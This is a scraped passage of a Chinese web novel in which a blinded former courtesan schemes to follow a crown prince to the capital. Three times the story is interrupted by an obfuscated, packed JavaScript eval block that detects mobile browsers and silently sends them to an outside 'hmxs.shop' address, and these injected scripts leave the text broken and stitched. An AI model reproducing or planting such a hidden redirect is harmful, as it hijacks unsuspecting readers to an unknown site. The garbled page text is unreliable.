;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677341|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心。” 但姜予宁还是无法安心,伸出脚往前走了一步,双手朝向惊夏,还想坚持自己洗。 “不用姑娘你来,这活要是给你做,被主子发现了,奴婢是要被罚的。” 惊夏看出她这番举动背后的目的,却没有提醒她不该动这样的心思。 白日里她已经暗示过一回,又起不该有的心思,这就轮不到她管了。 带着她摸到饭菜的位置,她拿了弄脏的被褥出去,去换新的被褥。 姜予宁等的就是她走。 胡乱搅乱放菜,她转了身,伸出手往外摸,已经练过很多次,只要不出意外,就能出了内室,再往外走,出了房间,应当就是这处院落的院子,她是不可能找到萧公子的房间,只能碰碰运气。 今晚,她是一定要见到萧公子。 惊夏刚将脏被褥收拾了,拿着干净的被褥回去时,就见一女子徘徊在客房门口,一手贴着墙壁,一手伸出来摸索周围。 她站着看了会,见她没有摔倒,悄无声息地掉头去西厢房。 整个院子被长廊连通,没有台阶,她就这么摸着走,不会摔倒。 在守卫诧异的目光中将被褥交给他拿着,她去敲了门,开口道:“奴婢惊夏,有事要禀告。” 片刻后里头传来声音:“进来。” 惊夏一进去,低着头,什么都不敢多看,跪地禀告道:“方才姜姑娘打翻了药,弄湿被褥,奴婢便去换干净的被褥给姜姑娘,回去时姜姑娘已经出了房间,正朝这边来。” 萧寒山没有作声,烛灯映照在他身上,他的身影投射在墙面,宽大如山。 半晌,笔撂下的声音响起,男人缓缓抬头,看的却是房门方向。 “终是忍不住了。” 他起身,边朝外走边说:“退下吧。” 惊夏领命,跟在萧寒山身后出去,往外一看,姜予宁与他们之间只隔了两间房的距离。方才她去西厢房与萧寒山汇报的这段时间,她只走了不到两米的路。 走得虽慢,却很稳,没有一次摔倒。 惊夏拿回了被褥,绕路回去,没有惊动她。 萧寒山稍稍抬手,侍卫齐齐退下,转眼间整个院子能见到的人,只有他与姜予宁。 他特地往外走了两步,把地让出来,看她会走到哪停下。 戏谑的目光落在她身上,看着她一步步靠近,也不出声提醒。 对于他来说,救姜予宁不是一时兴起,但现在逗她,倒是他突然起的念头。 夜幕中他懒散地站在屋檐边缘,墨发玉冠,宽肩窄腰,有力的肌肉包裹在衣衫之下,稍稍一动,衣衫鼓起,爆发力惊人。 他只需走几步,伸手揽住她,便能让她安全。 他没有这么做。 姜予宁一步一步谨慎地走过来,与他之间的距离缩短,左手一直在前方探索,没有遇到过障碍。 她心里没底,不知道这条路通向哪,可现在回去,便会前功尽弃,要么等到自己找到萧公子的房间,要么遇到人,带她去。 但现在后者显然行不通。 她又往前走了几步,心越来越没底,忽地停下了脚,小声地唤了一声:“萧公子?” 回应她的是夜晚的寒冷。 姜予宁不由得哆嗦了一下,眼睫颤着,开始犹豫了。也不知道走到什么时候才能摸到一扇开着的门。 她缓了缓,重新振作起来,眼睛看不到,再平坦的路走起来,也像是那无尽的深渊,每一步都需要小心试探。 她就这么走着走着,来到萧寒山身侧,只需往外走一步,将手臂张开,就能碰到他。 萧寒山忽然敲了敲雕栏。 视线里的女子立刻收回手,条件反射地转向他敲击的位置,胸膛起伏,一副被吓到的模样。 “谁,谁在那?” 姜予宁捂着胸口,只觉得自己的心都快要跳出来了。 8. 第 8 章 没有声音,夜晚静悄悄的。 姜予宁心中越发不安,一手紧紧按着墙壁,不敢再往前走。 白日里婢女哭嚎的声音还在耳畔回荡,她再往前走,说不定会被认作是别有用心,落得和那婢女一样的下场。 可都已经走到这,这个时候回去,岂不是白费力气? 姜予宁呆愣站着,抬手摸了摸自己的眼睛,半晌才说出一句话安慰自己:“再试试,再往前走一点点,说不定能碰到他。” 萧寒山听着这话,调整了姿势,背靠栏杆,看着她继续往前。 瞎了都要折腾,挺有劲。 男人露骨的审视目光落在盲行的女子身上,女子身形纤弱,长发柔顺垂于腰间,纤细腰肢不堪一握,曲线曼妙,不论是谁来,张眼一瞧,极难移开目光。 朦胧烛光落在她脸庞上,映照得肌肤细腻,唇因为紧张而微微张开,隐约可见抵着贝齿的舌尖,一呼一吸间,唇瓣微动。 端的是弱柳扶风姿态,小心思是有,但不够聪明。 若是真要用她,还得好好教教,不过此女媚骨天成,是个好料子,调教出来,定会是他手里一把利器。 萧寒山看着她走到西厢房前,手再往前摸,便要碰到门框。 他出了声:“阿宁怎的在这?” 本是安静的夜晚,突兀地响起他的声音,将那本就做着心虚事的女子吓得魂不守舍。 萧寒山看着她意料之中被吓的反应,稍稍直起身,等她狡辩。 姜予宁是真的没有想到真的能碰到他,更不知会是在这样的情况下,自己偷摸出来,被他看了个正着。 缓过神后,她僵着身子转身,干巴巴地将自己早就想好的借口说出来。 “妾,妾想见见公子。” 她听到男人带笑的声音:“哦?阿宁为何想见我?” 姜予宁不知道要怎么试探他,直接问他是不是知道自己的身份,一个不小心,还会使自己身份暴露。 背抵着墙壁,她垂着头,双手捏紧,紧张得心都快要跳出来。 “妾是想,想……”她不知道怎么说才能既试探出来,又不会叫他起疑心,只好先转了话题:“今日妾听到女子哭喊的声音,有些怕,所以才想来见见公子。” 说着,她小声啜泣,一副受惊的模样。 还记得惊夏说的那句话,她并未提起他太子的身份。 萧寒山看出她来此的目的,故意吓她:“手底下人不听话,起了背叛的心思,我怎可再留她。” 姜予宁连忙表明自己的决心:“妾不会背叛公子,公子救了妾,妾说过会一辈子报答公子,断不会背叛!” “是吗?”萧寒山盯着她瞧,忽略她激动表明忠心的话,眸色深深。 姜予宁心慌得声音都隐隐发抖,她只知道一定得叫男人相信自己,一定不能被他看出异样。 “自公子出手救妾那时起,妾便下定了决心要报答公子,又怎么会做出背叛公子的事。”她强撑着镇定下来,谎话说得多了,熟练起来,声音不再抖:“不论公子怎么想,妾已经下定了决心,会一辈子伺候公子。” 说完这些,回答她的是男人听不出情绪的话。 “阿宁都这般说了,我定然是要信阿宁的。”萧寒山一句话便叫姜予宁放了心,“过几日我便要回本家,阿宁父母都已经逝去,在宗阳郡可还有亲人?” 他果然不知道她真实身份!机会来了!他是太子,离开宗阳郡还能去哪,必然是回京城!一定要抓住这次机会! 姜予宁摇头,做出一副孤苦无依的可怜样,声音更是低了许多:“妾已经没有亲人了……” 可惜现在眼睛有伤,不能哭,不然她一落泪,更叫人怜惜。 “妾,妾能否跟着公子一起离开,妾的爹娘惨死,此处有太多令妾痛苦的记忆,妾不想再想起来……” 这才是她真实目的。 萧寒山正有此意,特地提出要走,也是引导她主动求他带她走。 “阿宁确定要与我一起离开?离开家乡去往陌生之地,阿宁不会怕吗?” 姜予宁小心翼翼地往萧寒山的方向走了一步,仰起脸,柔声道:“有萧公子在,妾不怕。” 无形之中她已经动了自己在青楼面对恩客时那些手段,无意间的勾引,放低姿态,声音低柔,只要是个男人,定然会被迷惑。 可惜她遇到的人不是楼晏,身处权力漩涡之中的太子,怎么可能被她这点小手段骗到。 “那阿宁便与我一同回去。” 她看不见的脸庞上露出幽深的笑,若是姜予宁能看见,必定会后悔自己的决定。 “妾多谢公子。”姜予宁行了个礼,声音不由自主地媚起来。 萧寒山扫视她这歪歪扭扭的行礼姿势,不悦蹙眉,该寻个教习嬷嬷来,好好教教她礼仪。 “阿宁早些休息,”他似是才想起她眼睛上的伤,语气关心问道:“眼睛还疼吗?” 姜予宁摇头,浅笑道:“公子不用担心,妾已经不疼了。惊夏每日都会为妾敷药,很快便能好。” 后面的话她没有说出来,待她双眼能瞧见了,有些事做起来,更加方便。 男人只说了一声好,叫她回去休息。 姜予宁本想问他回去的具体时间,可只听到离开的脚步声,她再跟上去问,倒显得她太着急。 按捺下来,她转身,摸索着回去。 方走了几步,就听惊夏的声音在前头响起,她停下来,等着惊夏过来扶她回去。 “姑娘怎的走到这来了,奴婢找了好一会。” 姜予宁解决了一桩棘手事,心情好了许多,说话时语气轻快了些:“我怕弄脏被褥会给你带来麻烦,想去帮帮你,可我又看不见,不知该往哪走,所以才走到这来。” 惊夏是亲眼看着她出来的,也不拆穿她,压低声音道:“被褥已经换好了,奴婢带姑娘回去。” 姜予宁轻轻点了头,说好。 饭菜已经凉了,惊夏重新热好,姜予宁吃完,洗漱过后,安心歇息。 担心的事全都解决,剩下的便是跟着萧公子去京城。 一想到要去京城,心情激动。在宗阳郡待了十八年,从未离开过,也不知外头是什么样。 越想,越觉得自己做的决定是对的,她这辈子还长,干嘛要死磕在楼府,把自己一辈子搭进去,还得不到善待。 只要她离开了宗阳郡,跟着太子,日日有人伺候,还有享受不尽的荣华富贵,可不比待在一眼能望到头的楼府好。 姜予宁双手合十,低声说:“晏大哥,妾会带着你的那一份好好活着,你就在地府等着投胎,投一户好人家,不要再当将军了。” 三日后,惊夏帮她敷药时,将要走的消息告诉她。 姜予宁一颗心怦怦跳。 “这是真的吗?” 惊夏帮她缠上纱布,道:“姑娘跟着主子去了本家后,千万记得要小心行事,断不能再像那晚一般冒然出去。” 姜予宁嗯了一声,一时享福和永久享乐她还是能分得清的。 待惊夏收拾好东西离开,她缓缓起身,摸索着走到窗边,这些日子她几乎已经将这间屋子摸透,小心一点,不会被绊到。 嗅着窗外新鲜的空气,她第一次展露纯粹的开心的笑颜。 女子双手撑在窗柩上,探出身子,笑容明媚,即使闭着眼,也丝毫不掩她的美貌。 外出刚回来的萧寒山一眼便看到她静静倚靠在床边,美得如同一幅画。 他确实没有在她脸上看到过这般不含杂质的笑容,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677342|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光瞬间被她吸引。能成为青楼头牌的女子,容貌定然是千里挑一。 楼晏福浅,早早死了,不过既然是他动的手,将她带回去,也算是帮楼晏照顾他这位未亡人。 不,姜予宁已被剔除楼家族谱,现在与楼家一点关系都没有。 萧寒山知晓楼母将她这儿媳从族谱中剔除时,多少有几分诧异,想来楼母不愿一介青楼女子做自己儿媳。 思绪收回,他没再看一眼,径直去了西厢房。 姜予宁只听到脚步声,没敢出声,这个节骨眼上,断不能出一点差错。 又过了一日,惊夏来帮她收拾东西,准备出发离开宗阳郡。 姜予宁喜不自胜,克制着自己的喜悦,由着惊夏来帮自己收拾东西。她东西不多,很快收拾好。 萧寒山特地安排了单独的马车载她,要出屋子时,惊夏忽地叫住了她。 “姑娘,戴上这个,你眼睛见不得光。” 姜予宁伸手去接,没碰到,惊夏直接走到她身后,为她绑上眼纱,连句请示都没有说。 抿了唇,她没说什么。正如惊夏的话一般,她现在的身份见不得光。 眼纱质地顺滑,刚绑上去冰冰凉凉的。 姜予宁忽地想起这些日子因怕日光伤到眼睛,白日里从未出去过,原来绑上眼纱便可出去么? 惊夏先前怎的不说? 有些事不能深想,一想便觉得难受,她只当不知道,没有问,被搀扶着出去,外头没什么声音,她问了句萧公子在何处。 惊夏笑道:“主子先出发回去了,姑娘身子不便,主子特地嘱咐了叫姑娘晚些出发,路上慢慢走,不着急。” 姜予宁怎么能不着急,萧公子先走,路上出了事,她找谁庇佑。 心下一急,攥住惊夏手腕,问:“那公子可说了,回去的路可安全?” “姑娘放心,有家丁跟着,不会出事。” 姜予宁还是不安心,被惊夏提醒要上马车时,又问:“我去了本家,住在何处?” 惊夏耐心道:“这些公子早已安排妥,姑娘去了便知。” 姜予宁这才安心,乖乖上了马车坐好。再等等,等到她去了京城,就什么都不用怕了。 惊夏跟着上来,在她对面坐下,见着她静静坐着,低着头不说话时,宛若一座精致的木雕,看着甚是赏心悦目。 “约莫两日,便可到本家,委屈姑娘在马车上将就这两日了。” 姜予宁摇了头,露出笑来:“不委屈的。” 惊春没有再说话,马车行驶,姜予宁没准备好,身子一个趔趄,惊夏还未去搀扶,她自己已经坐了回去。 她也是知道的,不可表现得太过柔弱,免得叫她们以为自己好欺负。 姜予宁没有坐过这么久的马车,没过几个时辰便直不起腰来,惊夏起初还问她是不是不适,她嘴硬说还能忍。 不过一会,惊夏忽然说她坐着的坐垫能拉开,人可以躺在上头。 姜予宁矜持了会,还是没忍住躺下。 这一躺,两日过去,当惊夏那句“到了”响起,姜予宁顿觉得这段时间受的苦也没什么了。 “姑娘小心些。” 惊夏扶着姜予宁下了马车,扶着她走上台阶,跨过门槛。 “这里是何处?” 柔缓细腻的声音传来,回廊内,迎面走来的人一眼瞥到眼戴眼纱的女子。 惊夏低声说:“姑娘,前头有人,先不要说话。” 女子慌乱了一瞬,殷红的唇张开,说了一个字:“好。” 男人的视线从她银白的眼纱上收回,脚步不停,跟着小厮走过转角,身影消失。 姜予宁僵着身子,小声问:“人还在吗?” 惊夏轻声说:“已经走了。” 9. 第 9 章 偌大的宅院里,婢女小厮无一人敢出声,专心做着手里的活,目不斜视,皆是不敢多瞧走来的人一眼。 一身素白长袍,玉带束腰,长身鹤立,气质不凡。 男人走过长廊,进入书房,领路的小厮止步于房门前,将房门合上,站在门外守着。 瞧见桌案后坐着的人,男人压低眉头,语气不悦:“殿下方回京,便传密信于臣,不怕被暗地里监视的人瞧见,奏于陛下吗?” 萧寒山并未抬头看他,展开密函,视线一扫,提笔批了几字,合上,撂了墨笔,这才抬眼瞧来人。 “左相大人行得端坐得正,孤请大人来,又非是要与你密谋些不可告人的事,怎会怕?” 男人不言。 萧寒山轻笑一声,站起身,步伐闲散,走向他,“半年前左相大人在陛下面前参了孤一本,陛下罚孤南下协助楼将军御敌,这半年来,左相大人在京中过得可还安好?” 他话中尽是危险,男人岿然不动,面色不改道:“那事殿下处理得的确不当,臣只是按规程办事,并无针对殿下的意思。” “孤知你是秉公办事,也算是提醒了孤小心行事,孤非常感激。”他话一转,似是疑惑:“孤记得左相大人养母,是宗阳人?” 男人浑身气势一凛,应了一声:“殿下若是并无要紧事,臣先告辞了。” 萧寒山走到他面前,语气意味深长:“孤去宗阳郡这一趟,可谓是收获颇丰,大人若是有兴趣,不妨坐下来,听孤慢慢说与你听?” 男人眸光冷峻,却没有拒绝。 萧寒山笑意加深,转身走向矮几。特地让姜予宁晚些回来,便是为了这一刻,现在看来,确实有些作用。 …… 西院,两道人影缓缓走过。 虽是无法看到周围环境如何,但从惊夏带她走了好久的路,还拐了数次弯可以看出,这处地方很大,但不是皇宫。 否则她定会听到无数声音,而不会像现在这般幽静。 姜予宁咬了唇,大抵猜到自己被带去了何处,虽是有些不大满意,但总比被随便处置了好。 她还是忍不住问了一句:“萧公子他,是不在这儿吗?” 问的不是萧寒山为什么没有把她带到皇宫里,而是问他人在不在这。 惊夏回头瞧了她一眼,牵着她的胳膊示意她跨过门槛,带她进了安排给她的客房。 “主子白日里忙得很,鲜少露面。”意思是萧寒山不在。 她小心牵着她去桌旁坐下,去收拾客房里的东西,边收拾边说:“姑娘今后便在这住下,主子又添了两个婢女与奴婢一起照顾您,您有事便叫奴婢。” 姜予宁轻轻说了一声好,双手不知何时绞紧衣袖,垂着头,心神逐渐不安。 惊夏见她这副样子,便知她在想什么,虽说这不是自己的分内之事,但依旧好心开口提醒:“此处是主子购置的宅院,平日里安静的很,姑娘好好养伤,旁的不要乱想。” 她在告诉她,这里不会有别人来,不用担心身份被发现。 也在告诫她,不要动不该有的心思。 姜予宁怎么会听不出来,心里难受,但知道以自己现在的身份,能跟着萧公子一起去京城已经很不容易,现下不该要求太多。 她轻轻点了头,“日后便辛苦你再照顾我了。” 惊夏笑容加深了些:“姑娘哪里的话,主子吩咐的事,奴婢必然是要好好做的。” 说罢,她已经将客房收拾好。 以防萧寒山会过来收拾不及,宅院里的婢女小厮们时时刻刻准备着,稍稍收拾便可住人。 “需要奴婢带姑娘您熟悉熟悉房间吗?” 姜予宁立刻点了头,初来陌生之地,越快熟悉周围环境越好,只是…… 握住惊夏的手起身,一点点挪动脚步,听着惊夏提醒她小心障碍的话,忽地心里委屈。 若是楼晏看到她眼睛受了伤看不见,定然会亲自照顾她,怎舍得让她一人待着。 本是高兴脱离楼家来到京城,可现下处境又叫她难受起来。 走了几步,又被绊到,姜予宁没了心思再熟悉房间构造,叫惊夏扶自己去床榻上休息,等一会再做。 “姑娘可要沐浴?这两日舟车劳顿,想必姑娘现下很累,不如沐浴完后,服下药,早些休息?”惊夏这一番话给了姜予宁不继续熟悉环境的借口,她当即点头。 “奴婢这就叫人去准备。” 离开的脚步声响起,渐渐远去,房间里安静下来,姜予宁抬手摸着眼纱,忽然想把眼纱扯下来,想睁开眼试试,这双眼现在究竟能不能瞧得见。 但她还是没敢这么做,轻轻摸了摸,一下收回手。 她怕这么做自己的眼睛真的会彻底看不见,她还要靠这双眼视物,绝对不能真的看不见了。 姜予宁缓缓松了身子,这两日一直睡在马车里,浑身酸痛,很是不适。 等了一会,惊夏还未回来,不由得有些着急。 她确实很想沐浴,将身上脏污清洗掉,一路风尘,沾了很多灰尘,着实难受。 好在不过一会惊夏便回来了,搀扶着她去湢室沐浴。 走了好些路才听见水声,姜予宁装作不经意间问:“这里离我的房间很远吗?” 婢女将热水倒入浴桶中,惊夏朝她们做了个手势,婢女们弓身行礼离开。 “姑娘住在西院,西院客房未曾带独立的湢室,只能辛苦姑娘多走些路来此沐浴了。” 姜予宁并未再说些什么,心中升起隐隐激动,只是一间宅院便这么大,若是去了皇宫,那该是更大,在里面走,怕是会迷路吧? 生于小门小户,后来又被困青楼,楼府是她见过的最大的宅院,如今见到更大的院子,一时间惊叹不已。 更是下了决心,定要牢牢缠住这棵大树,享受荣华富贵。 “姑娘,奴婢伺候您沐浴吧。” 姜予宁点了头,先前在宗阳郡时,也是惊夏帮她沐浴。 褪了衣衫,抬起白皙纤细的腿,脚尖试探了水温,有些烫,但很舒适。 完全躺进去,身体的疲倦被舒适的水温驱赶,很想一直这么躺在里头,什么都不用想。 美丽的胴\体在水面下泛着粉,惊夏只看了一眼,立刻移开目光,用动作轻柔地为她擦拭。 虽不知她身份,但从她某些举动上能看得出来,她也是有人伺候的,否则不会这般很快地适应被人伺候。 平常人家的姑娘,可不会在被伺候时,一副享受的模样。 沐浴完后回了房间,汤药与膏药已经准备好,姜予宁饮用完,眼睛上敷了药,发丝还未干,便没有立即歇息,只躺在床榻上,由着惊夏帮她绞干发丝。 “惊夏。”她唤了一声。 “姑娘需要什么?”惊夏停下手里动作,看向她。 “我是想问,萧公子他,可有家室?”姜予宁刚问完,立即解释:“我是怕公子带我回来,会被误会,所以才这么问,是有些冒昧了……” 她说话的声音柔柔的,姿态放低,问得很小心,谁听了都不会有责备她的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677343|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊夏想起主子对自己嘱咐的话,笑着摇头,“主子并未娶妻,京郊宅院只有一个主子,姑娘不用担心。” 她这么一说,姜予宁放了心,没有再问。 惊夏退下前,特地把姜予宁夜里需要的东西放到她触手可及的地方,姜予宁躺下,摸着质地柔顺光滑的被褥,弯起了唇。 她终于摆脱糟糕的过去,摆脱宗阳郡,来到了京城。 往后的日子,定会好起来。 她就这么心情还算不错地陷入沉睡。 不知是初来京城水土不服,还是两日赶路身子不适,半夜忽地醒了。 一睁眼,眼前依旧一片漆黑,晚些只喝了汤药与粥,醒来后肚子有些饿,眼睛瞧不见,也不知现下是什么时候,正想唤惊夏,忽地听到窃窃私语,是那两个叫过来伺候她的婢女。 “你说殿下带一个女子回来,是要她做侍妾吗?” 姜予宁心一冷,没有唤惊夏,悄悄直起身,继续听。 “我瞧着不像,殿下从未带女子来过,也未曾纳妃的意思,怎么会突然在外头带个女子回来,又不告知身份,显然是不放在心上的。” 姜予宁咬住下唇,心口堵着气,比白日里更难受。 “我觉着也是,以殿下的身份,也只有官家小姐配得上,她这样的,还瞎了眼,怎么配得上。” 姜予宁呼吸一滞,捏紧双手,死死咬住唇。知道自己会被说,可真听到时,格外难受。 先前被婢女说时,有楼晏帮她出气,可现在没人保护她,她若是冲动去呵斥她们,惹得萧公子不快,届时出事的就是她了。 只能忍着。 姜予宁深吸一口气,告诉自己这次忍下来,日后待她得了势,有的是法子报复回去。 她没有再出声,躺了回去,外头的声音渐渐减弱,安静下来。 那之后,姜予宁没再睡着,脑子里乱七八糟都在想要怎么在这座宅院里立足,想着想着,忽地听到敲门声,想得太入神,吓着了。 “姑娘,卯时了,该起了。” 姜予宁这才发觉自己想了一夜,出声时嗓子沙哑,一听便知未休息好。 惊夏开门进来,两个婢女低着头端着盥洗盆跟在她身后,瞧见床上坐起身的女子,互相对视一眼,皆是在对方眼中看到了惊艳。 “是惊夏吗?” 姜予宁起身靠在床栏上,听到不止一个脚步声,猜到另外的脚步声是嚼舌根的那俩婢女的,故意这么问。 “是奴婢,奴婢带了另外两个婢女来伺候姑娘梳洗。” 姜予宁轻轻哦了一声,耳畔传来盥洗盆放到桌面的声音,偏头对向那处,似笑非笑道:“真是麻烦你们了,萧公子将我带回来,吩咐你们照顾我,伺候我这么一个行动不便的人,该是很麻烦吧?” 两个婢女立刻说不麻烦,惊夏扫了她们一眼,说话时语气恭敬了许多。 “既是主子吩咐的事,我等必然是要好好做,不可有一丝马虎。” 她这么一说,那两个婢女心虚地低着头,一句也不敢说。 姜予宁转回头,露出笑来。她是故意这么说的,这些日子相处下来,惊夏性子她算是摸了个七八分,她是个对主子极为忠心的,心思活络,做事利落。 自己这么说,惊夏立刻听明白话里暗示的,当即警告这两名婢女。 她虽然现在无人庇佑,但利用周围有用的人或事为自己出口气还是可以的。 “奴婢帮姑娘拭脸吧?” 姜予宁点了头,没理那两名婢女。 10. 第 10 章 来了京城就是不一样,即便眼睛瞧不见,也能感觉到这里与宗阳郡的不同。 仅仅只是个宅院,吃穿用度就比她在宗阳郡要好许多,惊夏每日端来的饭食味道很是合她的胃口,只可惜现在要养伤,有些食物不能食用,待伤好了,真想尝遍所有佳肴。 这日换了药,姜予宁本想出去走走,已经多日未见光,总在屋子里闷着,快要发霉了。 惊夏却道:“姑娘暂时在房间里待几日,待眼睛好些了,奴婢再陪着姑娘在院子里逛逛。” 她说的是在院子里逛逛,不是陪姜予宁在宅院里逛,也不是带着姜予宁去外头街上逛,其中意思一听便知。 姜予宁抿了唇,没有立刻说好。 自己跟着来京城的目的就是为了荣华富贵,如今暂且住在萧公子在外头购置的别院,有人伺候,也有安稳处住下,但她总觉得不安。 萧公子是太子,他虽现在还未娶妻纳妾,可总有一天是要有家室的,届时她若是还以这种身份待在别院,随时都有可能被赶走。 况且她要的不是偷偷摸摸,她要正大光明地显露在世人面前。 若是可以,她也想当太子妃。 旁的女子能成为侯府夫人,贵妃,皇后太后,她怎么就不可以? 她想得出神,没有注意到惊夏看自己的目光中带着几分可怜,即使没有出神,她也看不见。 惊夏又笑着安抚了她几句:“待主子不忙了,兴许回来看看姑娘。” 这一句话让姜予宁立刻清醒,瞬间回神,更加坚定自己的想法。 京城什么样的女子没有,萧公子一回来,陛下一下旨要他娶太子妃,哪里还会再来见自己? 不行,她得在这事发生前,要在这处别院立足。 清楚知道自己现在的身份无法求得一个太子妃之位,至少也要在萧公子心上占据一定份量,让他离不开自己。 就像楼晏那样。 姜予宁暗自下定了决心,再次说话时,已经控制好自己的情绪,没有露出半分的不满。 “我知道的,他是太子,应是很忙,我自己会照顾好自己,你不用与他说。” 惊夏喜欢聪明人,能听懂自己话里意思,不用费力去解释。不过她也是第一次见主子带女子回来,有些拿不准要用何种态度对待姜予宁。 救回来的落难女子,还是未来的女主人? 她并未去请示主子,若是这点事都做不好,那就没有资格为主子做事,况且主子并未特意叮嘱,是以她依旧将姜予宁当作客人来招待。 客人么,那是自然不可在别院里随意走动的。 “姑娘若是有什么事,直接唤奴婢们。”她将换下来的药膏用帕子包裹好,瞥见姜予宁戴了几日的眼纱,不动声色地拿走。 她一走,房间里静悄悄的,姜予宁摸索着靠在床栏上,仰着头,小心翼翼地碰了自己眼睛,当即疼得收回手,嘶了一声。 还是疼。 这些日子怕伤口加重,一直没敢碰,后来眼睛上伤口不怎么疼了,以为好了些,结果碰上去还是疼。 在马车上去京城的这段时间,好几次都想哭,次次都忍了下来。 短短几日遭遇的事简直比她这十几年来遭遇的事还要惊悚,险些就没了命。 姜予宁每次想到那晚男人骑马而来的身影,都会觉得这大概是上天怜悯自己,见她死了夫婿,赐给她一个新的能依靠的人。 可他这样身份高贵的人,她又如何能攀得上? 姜予宁缓缓垂下手,捏着身上的衣裳,布料如水一般从手心滑过,即使是与楼晏成婚穿的婚服,料子也没有这么好。 尝过甜的滋味,又怎么会回去吃苦? 现如今她已经成功跟着来了京城,以自己在青楼学来的手段,就不信捕获不了他的心。 姜予宁拍拍自己心口,告诉自己一定能行的。 照常在敷了药后休息了会,继续摸索着熟悉这个房间,现下她已经能适应眼睛看不见,只是走起路来比之前要慢许多。 先是伸手试探前方有没有障碍物,摸不到就用脚尖去探,这样一步一步慢慢走,遇到东西挡着,换个方向继续。 之所以没有叫婢女帮自己熟悉,一是因为她想自己来,不让人发现,二来是觉得那些婢女会说自己,表面上一副规规矩矩的样,背地里不知道要怎么说她。 之前她要是听到这样的话,忍着不说,专门在能治得了那群婢女的人面前说出来,叫她们好看。 但现在她能在谁面前说呢,楼晏已经死了,至今也才见了萧公子两面,除了忍着,没有别的法子。 姜予宁在心里暗暗发誓,待以后她成了这里的主人,定要叫那群嚼舌根的人好看! 摸到窗柩时,她心头一喜,扬手朝外伸,立即听到婢女的声音:“姑娘小心些,一不注意,身体探了出去,是会摔倒的。” 这次说话,语气没有一点轻蔑,但也没有惊夏那般柔和。 姜予宁收回了手,一句话也不说,转身回床榻。 那婢女见状,没忍住翻了个白眼,小声嘟囔:“脾气可真大。” 夜幕降临时,别院来了几匹马,匆匆去了西院。 “殿下,您不在京的这段时日,三皇子党屡次在陛下面前诋毁您,再不有所行动,陛下怕是要听信小人谗言,真的要起了罢黜您的心思!” 坐于上首位的男人冷嗤一声,眼神阴戾,“他若是有能力让父皇罢黜孤,就不会使手段调孤离京。” 说着,他扯了唇角冷笑,“给他大半年的时间都没能弄出什么名堂来,真是没用。” “殿下,三皇子的人在接触左相,我们必须得防!”说话的大臣语气焦急,“三皇子若是得到左相助力,局面一旦倒向他,殿下您很有可能会陷入危险中!届时就不是只将您调离京城去边境那么简单了!” 萧寒山面色不改,甚至能称得上悠闲。 “孤在边境的这段时间,可不只是去逛逛。”抬手将密函提起,领头的大臣当即上前接过,展开与身后几位大臣一同看。 片刻后皆是面露震惊,“楼将军确实是三皇子的人?” 萧寒山颔首,不知想到什么,眉梢一挑,道:“他已战死,没有他在背后支撑,萧霁舟少了镇南兵权,短时间内不敢再动手脚,你等只需按孤说的做。” “至于左相,”他敲击几下桌面,想到男人离开别院前说的话,眸色幽深,“先不管他。” 商议过后,大臣们行礼离开。 将密函烧毁,萧寒山站起身,步出书房,往外一瞧,天黑沉得见不到一颗星。 似乎才想起来自己还带了个人回来,朝小厮招了手,道:“去把惊夏叫来。” 小厮立刻点头,跑着去叫人。 惊夏被叫过去时,正在帮姜予宁喂药,小厮说得很小心,只说要她跟自己出去一趟。 她立即想到是要去见主子,与姜予宁说一声,唤了婢女来喂药。 姜予宁点了头,听着他们离开的脚步声,猜到惊夏应该是被萧公子叫去了,但却没有明说。 心下不悦,这群人还是在提防着她。 “姑娘,喝 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今晚她没再去姜予宁那,本就是三个婢女轮着伺候,有那两名婢女在,她不用去。 不过敷药还得她来,翌日她去帮姜予宁换药时,忽地听到她问:“萧公子他还在忙吗?” 惊夏一愣,仔仔细细看她,想到昨晚主子吩咐的,道:“主子近些日子一直在望鹤苑处理事务,脱不开身。” 姜予宁轻轻嗯了一声,面上浮现笑:“萧公子是太子,想来会很忙。” 望鹤苑……他几日都在望鹤苑么? 惊夏帮她抹最后一点药时,她忽然伸手,凭借着眼尾被触碰的感觉一把抓住惊夏的手,小心试探道: “我这几日总觉得眼睛疼,能否请个大夫来瞧瞧我的眼睛?” 惊夏动作一顿,一点点抽出自己的手,声音冷了些,不仔细听,听不出来。 “姑娘眼睛若是痛得厉害,奴婢当然会请示主子去请大夫。” 姜予宁本就是想知道自己眼睛恢复到什么程度了,惊夏这么说,她立刻描述了一遍自己眼睛痛时的情况。 这双眼睛长在她身上,痛不痛,不都是她一句话的事? 听她说完,惊夏只道:“奴婢会去请示主子,姑娘还是在床上躺着,不要再走动了,若是哪里磕碰到了,受罪的人是你。” 姜予宁嗯了一声,没再说。 